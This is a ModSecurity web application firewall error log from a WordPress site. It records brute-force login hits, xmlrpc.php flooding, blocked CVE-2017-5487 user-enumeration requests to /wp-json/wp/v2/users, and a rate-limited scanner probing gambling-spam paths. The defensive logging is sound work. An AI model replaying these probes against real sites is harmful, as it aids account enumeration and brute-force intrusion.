[Sat Mar 21 21:23:34.094968 2026] [:error] [pid 49170:tid 49182] [client 216.24.210.197:65059] [client 216.24.210.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.197, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab6b1r1KUC-QISS0eWoOXgAAAQo"]
[Sat Mar 21 21:54:34.791487 2026] [:error] [pid 49170:tid 49190] [client 216.24.210.198:27783] [client 216.24.210.198] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.198, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab6jGr1KUC-QISS0eWobQAAAARI"]
[Sat Mar 21 21:54:34.791513 2026] [:error] [pid 49170:tid 49193] [client 216.24.210.220:58121] [client 216.24.210.220] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.220, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab6jGr1KUC-QISS0eWobPwAAARU"]
[Sat Mar 21 22:25:33.912080 2026] [:error] [pid 49170:tid 49181] [client 216.24.210.216:50921] [client 216.24.210.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.216, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab6qXb1KUC-QISS0eWooOwAAAQk"]
[Sat Mar 21 22:25:33.912892 2026] [:error] [pid 49170:tid 49178] [client 216.24.210.198:29079] [client 216.24.210.198] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.198, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab6qXb1KUC-QISS0eWooPAAAAQY"]
[Sun Mar 22 00:20:44.600552 2026] [:error] [pid 33456:tid 33472] [client 188.129.146.246:59814] [client 188.129.146.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.129.146.246, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab7FXA-0Ziq_OzjHFfVCkAAAAY4"]
[Sun Mar 22 00:21:09.317381 2026] [:error] [pid 43052:tid 43073] [client 206.43.98.0:62067] [client 206.43.98.0] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 206.43.98.0, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab7FdV5fjm-AiInC1hJpCAAAA5M"]
[Sun Mar 22 00:21:11.524401 2026] [:error] [pid 43052:tid 43073] [client 206.43.98.0:62067] [client 206.43.98.0] ModSecurity: Audit log: Failed to lock global mutex: Invalid argument [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab7FdV5fjm-AiInC1hJpCAAAA5M"]
[Sun Mar 22 00:21:11.524653 2026] [:error] [pid 43052:tid 43073] [client 206.43.98.0:62067] [client 206.43.98.0] ModSecurity: Audit log: Failed to unlock global mutex: Invalid argument [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab7FdV5fjm-AiInC1hJpCAAAA5M"]
[Sun Mar 22 00:21:25.016975 2026] [:error] [pid 40781:tid 41009] [client 136.158.56.139:38101] [client 136.158.56.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.158.56.139, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab7FhTJQuCgg1YvEGBLQPAAAAEM"]
[Sun Mar 22 00:23:51.008484 2026] [:error] [pid 40782:tid 41040] [client 188.129.146.246:62304] [client 188.129.146.246] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "ab7GF-aE0aGWZHNA90tmuwAAAIc"]
[Sun Mar 22 00:24:32.736226 2026] [:error] [pid 40780:tid 40948] [client 188.129.146.246:62611] [client 188.129.146.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.129.146.246, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab7GQCZDsmYIjKpJe4MzZgAAAAE"]
[Sun Mar 22 00:25:31.286897 2026] [:error] [pid 40781:tid 41015] [client 188.129.146.246:63019] [client 188.129.146.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.129.146.246, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab7GezJQuCgg1YvEGBLR2AAAAEk"]
[Sun Mar 22 00:25:53.453818 2026] [:error] [pid 40781:tid 41027] [client 136.158.56.139:48300] [client 136.158.56.139] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "ab7GkTJQuCgg1YvEGBLSFwAAAFU"]
[Sun Mar 22 00:26:44.156821 2026] [:error] [pid 41061:tid 41082] [client 188.129.146.246:63470] [client 188.129.146.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.129.146.246, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab7GxKksT6woy-Od6iGY0AAAANI"]
[Sun Mar 22 00:27:12.110086 2026] [:error] [pid 40780:tid 40957] [client 136.158.56.139:51065] [client 136.158.56.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.158.56.139, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab7G4CZDsmYIjKpJe4M06QAAAAo"]
[Sun Mar 22 00:27:34.614344 2026] [:error] [pid 40780:tid 40961] [client 188.129.146.246:63901] [client 188.129.146.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.129.146.246, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab7G9iZDsmYIjKpJe4M1IAAAAA0"]
[Sun Mar 22 00:28:21.127325 2026] [:error] [pid 40782:tid 41033] [client 136.158.56.139:54260] [client 136.158.56.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.158.56.139, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab7HJeaE0aGWZHNA90toegAAAIA"]
[Sun Mar 22 00:29:35.598172 2026] [:error] [pid 41061:tid 41086] [client 136.158.56.139:57491] [client 136.158.56.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.158.56.139, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab7Hb6ksT6woy-Od6iGawgAAANY"]
[Sun Mar 22 00:31:10.524699 2026] [:error] [pid 40780:tid 40952] [client 136.158.56.139:61830] [client 136.158.56.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.158.56.139, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab7HziZDsmYIjKpJe4M2wAAAAAU"]
[Sun Mar 22 02:05:32.542488 2026] [:error] [pid 40780:tid 40958] [client 186.249.211.2:58391] [client 186.249.211.2] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 186.249.211.2, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab7d7CZDsmYIjKpJe4Ni8wAAAAs"]
[Sun Mar 22 02:16:25.053290 2026] [:error] [pid 40780:tid 40955] [client 147.135.128.94:39684] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "ab7geSZDsmYIjKpJe4NocwAAAAg"]
[Sun Mar 22 02:16:27.072520 2026] [:error] [pid 41061:tid 41076] [client 147.135.128.94:51892] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "ab7ge6ksT6woy-Od6iHoLwAAAMw"]
[Sun Mar 22 02:16:28.943769 2026] [:error] [pid 41061:tid 41071] [client 147.135.128.94:35290] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "ab7gfKksT6woy-Od6iHoOgAAAMc"]
[Sun Mar 22 02:16:30.957905 2026] [:error] [pid 41061:tid 41075] [client 147.135.128.94:35302] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "ab7gfqksT6woy-Od6iHoRwAAAMs"]
[Sun Mar 22 02:16:32.877879 2026] [:error] [pid 40780:tid 40958] [client 147.135.128.94:35310] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "ab7ggCZDsmYIjKpJe4NofwAAAAs"]
[Sun Mar 22 02:16:34.742608 2026] [:error] [pid 40780:tid 40961] [client 147.135.128.94:35316] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "ab7ggiZDsmYIjKpJe4NoigAAAA0"]
[Sun Mar 22 02:16:36.712123 2026] [:error] [pid 40782:tid 41050] [client 147.135.128.94:35328] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "ab7ghOaE0aGWZHNA90uN8QAAAJE"]
[Sun Mar 22 02:16:38.807743 2026] [:error] [pid 40780:tid 40964] [client 147.135.128.94:37878] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "ab7ghiZDsmYIjKpJe4NonQAAABA"]
[Sun Mar 22 02:16:40.915654 2026] [:error] [pid 40782:tid 41045] [client 147.135.128.94:37888] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "ab7giOaE0aGWZHNA90uN9wAAAIw"]
[Sun Mar 22 02:16:42.881642 2026] [:error] [pid 41061:tid 41082] [client 147.135.128.94:37890] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "ab7giqksT6woy-Od6iHocgAAANI"]
[Sun Mar 22 02:16:44.902347 2026] [:error] [pid 40780:tid 40967] [client 147.135.128.94:37898] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "ab7gjCZDsmYIjKpJe4NotQAAABM"]
[Sun Mar 22 02:16:46.851764 2026] [:error] [pid 40781:tid 41018] [client 147.135.128.94:37912] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "ab7gjjJQuCgg1YvEGBLxJwAAAEw"]
[Sun Mar 22 02:16:48.960425 2026] [:error] [pid 41061:tid 41067] [client 147.135.128.94:60340] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "ab7gkKksT6woy-Od6iHoiQAAAMM"]
[Sun Mar 22 02:16:50.873727 2026] [:error] [pid 40780:tid 40971] [client 147.135.128.94:60354] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "ab7gkiZDsmYIjKpJe4NowAAAABc"]
[Sun Mar 22 02:16:52.800925 2026] [:error] [pid 41061:tid 41067] [client 147.135.128.94:60360] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "ab7glKksT6woy-Od6iHonQAAAMM"]
[Sun Mar 22 02:16:54.859988 2026] [:error] [pid 41061:tid 41064] [client 147.135.128.94:60372] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "ab7glqksT6woy-Od6iHopgAAAMA"]
[Sun Mar 22 02:16:56.760596 2026] [:error] [pid 41061:tid 41081] [client 147.135.128.94:60376] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "ab7gmKksT6woy-Od6iHotwAAANE"]
[Sun Mar 22 02:16:58.663468 2026] [:error] [pid 41061:tid 41069] [client 147.135.128.94:39646] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "ab7gmqksT6woy-Od6iHovgAAAMU"]
[Sun Mar 22 02:17:00.570780 2026] [:error] [pid 40782:tid 41046] [client 147.135.128.94:39658] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "ab7gnOaE0aGWZHNA90uODwAAAI0"]
[Sun Mar 22 02:17:02.615342 2026] [:error] [pid 41061:tid 41067] [client 147.135.128.94:39670] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "ab7gnqksT6woy-Od6iHo1QAAAMM"]
[Sun Mar 22 02:17:04.488105 2026] [:error] [pid 41061:tid 41076] [client 147.135.128.94:39676] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "ab7goKksT6woy-Od6iHo4wAAAMw"]
[Sun Mar 22 02:17:06.398527 2026] [:error] [pid 41061:tid 41085] [client 147.135.128.94:39690] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "ab7goqksT6woy-Od6iHo8AAAANU"]
[Sun Mar 22 02:17:08.289502 2026] [:error] [pid 40782:tid 41055] [client 147.135.128.94:33342] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "ab7gpOaE0aGWZHNA90uOIQAAAJY"]
[Sun Mar 22 02:17:10.321749 2026] [:error] [pid 40781:tid 41028] [client 147.135.128.94:33346] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "ab7gpjJQuCgg1YvEGBLxPAAAAFY"]
[Sun Mar 22 02:17:12.357187 2026] [:error] [pid 41061:tid 41067] [client 147.135.128.94:33350] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "ab7gqKksT6woy-Od6iHo_gAAAMM"]
[Sun Mar 22 02:17:14.228201 2026] [:error] [pid 41061:tid 41087] [client 147.135.128.94:33354] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "ab7gqqksT6woy-Od6iHpDAAAANc"]
[Sun Mar 22 02:17:16.122376 2026] [:error] [pid 40781:tid 41027] [client 147.135.128.94:33360] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "ab7grDJQuCgg1YvEGBLxRQAAAFU"]
[Sun Mar 22 02:17:18.163659 2026] [:error] [pid 40782:tid 41052] [client 147.135.128.94:51472] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "ab7gruaE0aGWZHNA90uOMwAAAJM"]
[Sun Mar 22 02:17:20.056362 2026] [:error] [pid 41061:tid 41078] [client 147.135.128.94:51488] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "ab7gsKksT6woy-Od6iHpHwAAAM4"]
[Sun Mar 22 02:42:09.241999 2026] [:error] [pid 40780:tid 40947] [client 206.43.98.0:58105] [client 206.43.98.0] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "ab7mgSZDsmYIjKpJe4Nw_QAAAAA"]
[Sun Mar 22 02:43:50.873130 2026] [:error] [pid 23666:tid 23683] [client 206.43.98.0:57603] [client 206.43.98.0] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 206.43.98.0, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab7m5sMCSeYGBmLsLiggbgAAAQ8"]
[Sun Mar 22 02:45:14.160532 2026] [:error] [pid 40782:tid 41045] [client 206.43.98.0:58386] [client 206.43.98.0] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 206.43.98.0, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab7nOuaE0aGWZHNA90uU-AAAAIw"]
[Sun Mar 22 02:46:54.414798 2026] [:error] [pid 41061:tid 41074] [client 206.43.98.0:58895] [client 206.43.98.0] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 206.43.98.0, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab7nnqksT6woy-Od6iH2XQAAAMo"]
[Sun Mar 22 02:48:34.349344 2026] [:error] [pid 23666:tid 23677] [client 206.43.98.0:59317] [client 206.43.98.0] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 206.43.98.0, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab7oAsMCSeYGBmLsLigkJgAAAQk"]
[Sun Mar 22 02:50:03.439067 2026] [:error] [pid 41061:tid 41077] [client 206.43.98.0:50728] [client 206.43.98.0] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 206.43.98.0, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab7oW6ksT6woy-Od6iH3yAAAAM0"]
